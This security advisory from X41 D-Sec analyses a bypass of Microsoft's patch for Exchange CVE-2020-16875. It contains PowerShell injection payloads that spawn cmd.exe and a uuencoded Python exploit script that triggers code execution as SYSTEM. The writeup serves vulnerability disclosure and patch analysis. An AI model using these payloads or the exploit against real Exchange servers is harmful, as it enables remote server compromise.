Microsoft Exchange Remote Code Execution - CVE-2020-16875

Merry X-Mas from X41! We travel back to old times and bring you a writeup of the patch bypass for CVE-2020-16875. We hope you enjoy the old ASCII times as much as we do. Stay safe and enjoy the holidays, so we can make it to 2021 ASAP!

[plain text version]

|=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=|
|=-------------*[ CVE-2020-16875 Protection/Filter Bypass ]*-------------=|
|=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=|
|=-----------------------------*[ @x41sec ]*-----------------------------=|
|=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=|
                                                                           
           *             ,
                       _/^\_
                      <     >
     *                 /.-.\         *
              *        `/&\`                   *
                      ,@.*;@,
                     /_o.I %_\    *
        *           (`'--:o(_@;
                   /`;--.,__ `')             *
                  ;@`o % O,*`'`&\
            *    (`'--)_@ ;o %'()\      *
                 /`;--._`''--._O'@;
                /&*,()~o`;-.,_ `""`)
     *          /`,@ ;+& () o*`;-';\
               (`""--.,_0 +% @' &()\
               /-.,_    ``''--....-'`)  *
          *    /@%;o`:;'--,.__   __.'\
              ;*,&(); @ % &^;~`"`o;@();         *
              /(); o^~; & ().o@*&`;&%O\
        jgs   `"="==""==,,,.,="=="==="`
           __.----.(\-''#####---...___...-----._
         '`         \)_`"""""`
                 .--' ')
               o(  )_-\
                 `"""` `


0) Table of contents

1 - Introduction and Impact
2 - Patch Analysis
3 - Filter Bypass
      3.1 - Bypass Check #1
      3.2 - Bypass Check #2
      3.3 - Bypass Check #3
4 - PoC
5 - Solution Advice
6 - Timeline
7 - Credits
8 - PoC

1) Introduction

In September 2020 a patch was issued for CVE-2020-16875 affecting Microsoft
Exchange 2016 and 2019. The vulnerability enables RCE via cmdlets supplied by
the /ecp/DLPPolicy HTTPS endpoint of an Exchange server.

The original vulnerability and research was reported by Steven Seeley
of Source Incite (@steventseeley) and is available here:

https://srcincite.io/advisories/src-2020-0019/ (Advisory)
https://srcincite.io/pocs/cve-2020-16875.py.txt (PoC)

Steven found the bypass described in this writeup as well and
he will publish his own blog post also describing the original
vulnerability and potentially more.

A patch has been issued introducing filtering of cmdlets:

https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016

As part of automated patch analysis efforts, the team at X41 analyzed
the patch and was able to bypass the filter with a modified payload.
This allows the injection of cmdlets into a remote Exchange server. A valid user
account with permissions to administrate the DLP policies is required.

The impact is identical to the previous vulnerability present on unpatched
Exchange installations:

CVSS: 8.5
Severity (according to MSRC): Critical

2) - Patch Analysis

The patched code that prevents exploitation of CVE-2020-16875
looks like this:

internal static void ValidateCmdletParameters(string cmdlet,
    IEnumerable<KeyValuePair<string, string>> requiredParameters)
{
    if (string.IsNullOrWhiteSpace(cmdlet))
    {
        return;
    }
    Collection<PSParseError> collection2;
    Collection<PSToken> collection = PSParser.Tokenize(cmdlet,
        out collection2);
    if (collection2 != null && collection2.Count > 0)
    {
        throw new DlpPolicyParsingException(
            Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
    if (collection != null)
    {
        // #1 CHECKS IF THERE IS MORE THAN ONE COMMAND, BUT DOES NOT
        // RECOGNIZE .NET FUNCTIONS SUCH AS [Int32]::Parse("12")
        if ((from token in collection
        where token.Type == PSTokenType.Command 
        select token).ToList<PSToken>().Count > 1)
        {
            throw new DlpPolicyParsingException(
                Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet));
        }
    }
    bool flag = false;
    foreach (KeyValuePair<string, string> keyValuePair in requiredParameters)
    {
        // #2 CHECKS IF THE cmdlet STRING(!!) STARTS WITH AN ALLOWED KEY
        if (cmdlet.StartsWith(keyValuePair.Key,
            StringComparison.InvariantCultureIgnoreCase))
        {
            // #3 CHECKS IF THE THE VALUES / PARAMETERS MATCH A CERTAIN
            // REGEX
            if (!Regex.IsMatch(cmdlet, keyValuePair.Value,
                RegexOptions.IgnoreCase))
            {
                throw new DlpPolicyParsingException(
                    Strings.DlpPolicyMissingRequiredParameter(cmdlet,
                        keyValuePair.Value));
            }
            flag = true;
        }
    }
    if (!flag)
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(
                                                                        cmdlet));
    }
}


A validation of the cmdlet is attempted with two main goals:

1. Prevent multiple Powershell Command tokens per cmdlet.
2. Only allow whitelisted commands with certain parameters.

Three checks are introduced to filter out exploitation attempts.
Unfortunately these checks aren't sufficient.

3.1) Bypass Check #1

Check #1 in the patch above is parsing and tokenizing the cmdlet string
and checks if more than one token of type PSTokenType.Command
is present. This rejects the original payload that relies on having
more than one command such as for example the following payload:

New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;
$i.FileName="cmd";$i.Arguments="/c %s";
$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start()

Also command tokens inside `$()` statements are prevented, so
the following will NOT work:

new-transportrule -Name $(Diagnostics.Process.Start(....))

However, direct calls to .NET via the square bracket syntax are still
possible as they are not considered as `Command` tokens by PSParser:

new-transportrule -Name $([Diagnostics.Process]::start("cmd.exe", "/C ...."))

The above command contains one `Command` token, therefore bypassing
check #1.

3.2) Bypass Check #2

Check #2 can be easily bypassed because the check is done on the
raw cmdlet string and is only using the function `.StartsWith()`
to check the beginning of the cmdlet. To bypass we just supply
a command string that is contained in the valid keys given
via requiredParameters:

new-transportruleSOMETHINGELSE....

3.3) Bypass Check #3

Check #3 is applying a regular expression to the cmdlet to
ensure only valid parameters and values are supplied. Unfortunately
the regular expression falls short in at least two ways:

1. By default Regex.IsMatch() does not match multiple lines.
2. The applied regular expression does not match from begin
   to end of the cmdlet string, but instead also matches on sub strings.

To bypass the check, the Powershell cmdlet just needs to
contain one of the expected parameters such as for example `DlpPolicy`.

4) PoC

The following payload can bypass all three checks as
mentioned above:

<![CDATA[ new-transportrule
   -Name $([Diagnostics.Process]::start("cmd.exe / C <run-as-SYSTEM>"))
   -DlpPolicy "%%DlpPolicyName%%"
]]>

5) Solution Advice

A fix has been released[1] in the December Patch Tuesday.
It is strongly recommended to create a more strict interface that
can be accessed via the DLP API in Exchange. The usage of cmdlets
is inherently dangerous because of the complexity of the Powershell
scripting language. Instead a dedicated function interface that
only accepts whitelisted individual parameters is recommended.


6) Timeline

2020-09-28 - Patch analysis via the experimental X41 patch analysis pipeline
2020-09-30 - Confirmed the patch is ineffective by creating a new PoC
2020-10-01 - Report to MSRC
2020-12-08 - A new fix was released in the Patch Tuesday as CVE-2020-17132
2020-12-09 - Bounty rejected since only a proof for on-prem was provided

7) Credits

In Alphabetical Order:

Leonard Rapp - Patch Diffing and Analysis
Markus Vervier - PoC / Exploitation
Steven Seeley - for the original PoC and good discussions
Yasar Klawohn - PoC / Bypass

8) PoC

begin 644 CVE-2020-16875-PATCH-BYPASS.py
M(R$O=7-R+V)I;B]E;G8@<'ET:&]N,PT*(B(B#0I4:&ES(%!O0R!I<R!A(&UO
M9&EF:65D('9E<G-I;VX@;V8@=&AE($]R:6=I;F%L(%!O0R!O9@T*<W)C:6YC
M:71E(&9O<B!#5D4M,C`R,"TQ-C@W-2!A=F%I;&%B;&4@870Z#0H-"FAT='!S
M.B\O<W)C:6YC:71E+FEO+W!O8W,O8W9E+3(P,C`M,38X-S4N<'DN='AT#0H-
M"FAT='!S.B\O=W=W+G@T,2UD<V5C+F1E(#(P,C`L($UA<FMU<R!697)V:65R
M+"!987-A<B!+;&%W;VAN#0H-"E1H:7,@4&]#(&)Y<&%S<V5S('1H92!P871C
M:"!F;W(@0U9%+3(P,C`M,38X-S4Z#0H-"DUI8W)O<V]F="!%>&-H86YG92!3
M97)V97(@1&QP571I;',@061D5&5N86YT1&QP4&]L:6-Y(%)E;6]T92!#;V1E
M($5X96-U=&EO;B!6=6QN97)A8FEL:71Y#0I0871C:#H@:'1T<',Z+R]P;W)T
M86PN;7-R8RYM:6-R;W-O9G0N8V]M+V5N+75S+W-E8W5R:71Y+6=U:61A;F-E
M+V%D=FES;W)Y+T-612TR,#(P+3$V.#<U#0H-"G)E<V5A<F-H97)`:6YC:71E
M.GXD("XO<&]C+G!Y#0HH*RD@=7-A9V4Z("XO<&]C+G!Y(#QT87)G970^(#QU
M<V5R.G!A<W,^#0HH*RD@96<Z("XO<&]C+G!Y(#$Y,BXQ-C@N-S4N,30R(&AA
M<G)Y;4!E>&-H86YG961E;6\N8V]M.G5S97(Q,C,C(R,@;7-P86EN=`T*#0IR
M97-E87)C:&5R0&EN8VET93I^)"`N+W!O8RYP>2`Q.3(N,38X+C<U+C$T,B!H
M87)R>6U`97AC:&%N9V5D96UO+F-O;3IU<V5R,3(S(R,C(&US<&%I;G0-"B@K
M*2!L;V=G960@:6X@87,@:&%R<GEM0&5X8VAA;F=E9&5M;RYC;VT-"B@K*2!F
M;W5N9"!T:&4@7U]V:65W<W1A=&4Z("]W15!$=U5)3%1G-4U$07I-1$9K6D9!
M97E04S<O94)*-&Q03E).4$)J;3A1:5=,5VYI<E$Q=G-';%-Y:E9X834-"B@K
M*2!E>&5C=71E9"!M<W!A:6YT(&%S(%-94U1%32$-"@T*0VAA;F=E<SH@82!N
M97<@9FEL=&5R('=A<R!I;G1R;V1U8V5D('1H870@<VAO=6QD(&5N<W5R92!T
M:&5R92!I<R!N;W0@;6]R90T*=&AA;B!O;F4@8V]M;6%N9"!I;B!T:&4@8VUD
M;&5T(&%N9"!T:&%T('1H92!C;VUM86YD(&ES(&9R;VT@82!L:7-T(&]F(&%L
M;&]W960@8V]M;6%N9',N#0I5;F9O<G1U;F%T96QY(&%L;"!T:&5S92!C:&5C
M:W,@8V%N(&)E(&)Y<&%S<V5D(&1U92!T;R!I;F-O<G)E8W0@87-S=6UP=&EO
M;G,-"F%B;W5T('1H92!C;61L970@<&%R<VEN9R!R97-U;'0@86YD('1H92!I
M;F-O<G)E8W0@=7-A9V4@;V8@<F5G=6QA<B!E>'!R97-S:6]N<PT*=&\@=F%L
M:61A=&4@=&AE('!A<F%M=&5R<RX-"@T*1F]R(&1E=&%I;',@<&QE87-E('-E
M92!T:&4@86YN;W1A=&5D('!A=&-H(&EN(&9I;&4@0U9%+3(P,C`M,38X-S4M
M<&%T8V@N8W,-"F%N9"!T:&4@=W)I=&5U<',@+R!C;VUM96YT<R!I;B!F:6QE
M($-612TR,#(P+3$V.#<U+7=R:71E=7`N='AT#0H-"B(B(@T*#0II;7!O<G0@
M<F4-"FEM<&]R="!S>7,-"FEM<&]R="!R86YD;VT-"FEM<&]R="!S=')I;F<-
M"FEM<&]R="!U<FQL:6(S#0II;7!O<G0@<F5Q=65S=',-"G5R;&QI8C,N9&ES
M86)L95]W87)N:6YG<RAU<FQL:6(S+F5X8V5P=&EO;G,N26YS96-U<F5297%U
M97-T5V%R;FEN9RD-"@T*9&5F(')A;F1O;5]S=')I;F<H<W1R7VQE;CTX*3H-
M"B`@("!L971T97)S(#T@<W1R:6YG+F%S8VEI7VQO=V5R8V%S90T*("`@(')E
M='5R;B`G)RYJ;VEN*')A;F1O;2YC:&]I8V4H;&5T=&5R<RD@9F]R(&D@:6X@
M<F%N9V4H<W1R7VQE;BDI#0H-"F1E9B!G971?>&UL*&,I.@T*("`@(')E='5R
M;B`B(B(\/WAM;"!V97)S:6]N/2(Q+C`B(&5N8V]D:6YG/2)55$8M."(_/@T*
M/&1L<%!O;&EC>51E;7!L871E<SX-"B`@/&1L<%!O;&EC>51E;7!L871E(&ED
M/2)&-T,R.4%%0RU!-3)$+30U,#(M.38W,"TQ-#$T,C1!.#-&04(B(&UO9&4]
M(D%U9&ET(B!S=&%T93TB16YA8FQE9"(@=F5R<VEO;CTB,34N,"XR+C`B/@T*
M("`@(#QC;VYT96YT5F5R<VEO;CXT/"]C;VYT96YT5F5R<VEO;CX-"B`@("`\
M<'5B;&ES:&5R3F%M93YS:3PO<'5B;&ES:&5R3F%M93X-"B`@("`\;F%M93X-
M"B`@("`@(#QL;V-A;&EZ9613=')I;F<@;&%N9STB96XB/CPO;&]C86QI>F5D
M4W1R:6YG/@T*("`@(#PO;F%M93X-"B`@("`\9&5S8W)I<'1I;VX^#0H@("`@
M("`\;&]C86QI>F5D4W1R:6YG(&QA;F<](F5N(CX\+VQO8V%L:7IE9%-T<FEN
M9SX-"B`@("`\+V1E<V-R:7!T:6]N/@T*("`@(#QK97EW;W)D<SX\+VME>7=O
M<F1S/@T*("`@(#QR=6QE4&%R86UE=&5R<SX\+W)U;&5087)A;65T97)S/@T*
M("`@(#QP;VQI8WE#;VUM86YD<SX-"B`@("`@(#QC;VUM86YD0FQO8VL^#0H@
M("`@("`@(#PA6T-$051!6R!N97<M=')A;G-P;W)T<G5L92`M3F%M920H6T1I
M86=N;W-T:6-S+E!R;V-E<W-=.CIS=&%R="@B8VUD+F5X92`O($,@;7-P86EN
M="YE>&4B*2D@+41L<%!O;&EC>2`B)25$;'!0;VQI8WE.86UE)24B(%U=/@T*
M("`@("`@/"]C;VUM86YD0FQO8VL^#0H@("`@/"]P;VQI8WE#;VUM86YD<SX-
M"B`@("`\<&]L:6-Y0V]M;6%N9'-297-O=7)C97,^/"]P;VQI8WE#;VUM86YD
M<U)E<V]U<F-E<SX-"B`@/"]D;'!0;VQI8WE496UP;&%T93X-"CPO9&QP4&]L
M:6-Y5&5M<&QA=&5S/B(B(@T*#0ID968@=')I9V=E<E]R8V4H="P@<RP@=G,I
M.@T*("`@(&8@/2![#0H@("`@("`@("=?7U9)15=35$%412<Z("A.;VYE+"!V
M<RDL#0H@("`@("`@("=C=&PP,"1297-U;'1086YE4&QA8V5(;VQD97(D<V5N
M9&5R0G1N)SH@*$YO;F4L(")297-U;'1086YE4&QA8V5(;VQD97)?0G5T=&]N
M<U!A;F5L7V)T;DYE>'0B*2P-"B`@("`@("`@)V-T;#`P)%)E<W5L=%!A;F50
M;&%C94AO;&1E<B1C;VYT96YT0V]N=&%I;F5R)&YA;64G.B`H3F]N92P@<F%N
M9&]M7W-T<FEN9R@I*2P-"B`@("`@("`@)V-T;#`P)%)E<W5L=%!A;F50;&%C
M94AO;&1E<B1C;VYT96YT0V]N=&%I;F5R)'5P;&1#=')L)SH@*")D;'!R8V4N
M>&UL(BP@9V5T7WAM;"@I*2P-"B`@("!]#0H@("`@<B`](',N<&]S="@B:'1T
M<',Z+R\E<R]E8W`O1$Q04&]L:6-Y+TUA;F%G95!O;&EC>49R;VU)4U8N87-P
M>"(@)2!T+"!F:6QE<SUF+"!V97)I9GD]1F%L<V4I#0H@("`@87-S97)T('(N
M<W1A='5S7V-O9&4@/3T@,C`P+"`B*"TI(&9A:6QE9"!T;R!T<FEG9V5R(')C
M92$B#0H-"F1E9B!L96%K7W9I97=S=&%T92AT+"!S*3H-"B`@("!R(#T@<RYG
M970H(FAT='!S.B\O)7,O96-P+T1,4%!O;&EC>2]-86YA9V50;VQI8WE&<F]M
M25-6+F%S<'@B("4@="P@=F5R:69Y/49A;'-E*0T*("`@(&UA=&-H(#T@<F4N
M<V5A<F-H*"(\:6YP=70@='EP93U<(FAI9&1E;EPB(&YA;64]7")?7U9)15=3
M5$%415PB(&ED/5PB7U]624574U1!5$5<(B!V86QU93U<(B@N*BE<(B`O/B(L
M('(N=&5X="D-"B`@("!A<W-E<G0@;6%T8V@@(3T@3F]N92P@(B@M*2!C;W5L
M9&XG="!L96%K('1H92!?7W9I97=S=&%T92$B#0H@("`@<F5T=7)N(&UA=&-H
M+F=R;W5P*#$I#0H@("`@#0ID968@;&]G7VEN*'0L('5S<BP@<'=D*3H-"B`@
M("!S(#T@<F5Q=65S=',N4V5S<VEO;B@I#0H@("`@9"`]('L-"B`@("`@("`@
M(F1E<W1I;F%T:6]N(B`Z(")H='1P<SHO+R5S+V]W82(@)2!T+`T*("`@("`@
M("`B9FQA9W,B(#H@(B(L#0H@("`@("`@(")U<V5R;F%M92(@.B!U<W(L#0H@
M("`@("`@(")P87-S=V]R9"(@.B!P=V0-"B`@("!]#0H@("`@<RYP;W-T*")H
M='1P<SHO+R5S+V]W82]A=71H+F]W82(@)2!T+"!D871A/60L('9E<FEF>3U&
M86QS92D-"B`@("!A<W-E<G0@<RYC;V]K:65S+F=E="AN86UE/2=8+4]702U#
M04Y!4EDG*2`A/2!.;VYE+"`B*"TI(&-O=6QD;B=T(&QE86L@=&AE(&-S<F8@
M8V%N87)Y(2(-"B`@("!R971U<FX@<PT*#0ID968@;6%I;BAT+"!U<W(L('!W
M9"DZ#0H@("`@<R`](&QO9U]I;BAT+"!U<W(L('!W9"D-"B`@("!P<FEN="@B
M*"LI(&QO9V=E9"!I;B!A<R`E<R(@)2!U<W(I#0H@("`@=G,@/2!L96%K7W9I
M97=S=&%T92AT+"!S*0T*("`@('!R:6YT*"(H*RD@9F]U;F0@=&AE(%]?=FEE
M=W-T871E.B`E<R(@)2!V<RD-"B`@("!T<FEG9V5R7W)C92AT+"!S+"!V<RD-
M"B`@("!P<FEN="@B*"LI(&5X96-U=&5D(&-A;&,N97AE(&%S($%D;6EN:7-T
M<F%T;W(@*'9I82!365-414TI(2(I#0H-"FEF(%]?;F%M95]?(#T]("=?7VUA
M:6Y?7R<Z#0H@("`@:68@;&5N*'-Y<RYA<F=V*2`A/2`T.@T*("`@("`@("!P
M<FEN="@B*"LI('5S86=E.B`E<R`\=&%R9V5T/B`\=7-E<CIP87-S/B(@)2!S
M>7,N87)G=ELP72D-"B`@("`@("`@<')I;G0H(B@K*2!E9SH@)7,@,3DR+C$V
M."XW-2XQ-#(@:&%R<GEM0&5X8VAA;F=E9&5M;RYC;VTZ=7-E<C$R,R,C(R!M
M<W!A:6YT(B`E('-Y<RYA<F=V6S!=*0T*("`@("`@("!S>7,N97AI="@M,2D-
M"B`@("!T<F=T(#T@<WES+F%R9W9;,5T-"B`@("!A<W-E<G0@(CHB(&EN('-Y
M<RYA<F=V6S)=+"`B*"TI('EO=2!N965D(&$@=7-E<B!A;F0@<&%S<W=O<F0A
M(@T*("`@('5S<B`]('-Y<RYA<F=V6S)=+G-P;&ET*"(Z(BE;,%T-"B`@("!P
M=V0@/2!S>7,N87)G=ELR72YS<&QI="@B.B(I6S%=#0H@("`@;6%I;BAT<F=T
-+"!U<W(L('!W9"D-"@``
`
end

[1] https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-17132

About X41 D-Sec GmbH

X41 D-Sec GmbH is an expert provider of application security services. With extensive experience and expertise in the information security industry and a strong core security team of world-class experts, X41 can provide premium security services. Their fields of expertise in the area of application security are security-centered code reviews, binary reverse engineering, and vulnerability discovery. Custom research and IT security consulting and support services are the core competencies of X41.

Author: Markus Vervier
Date: December 21, 2020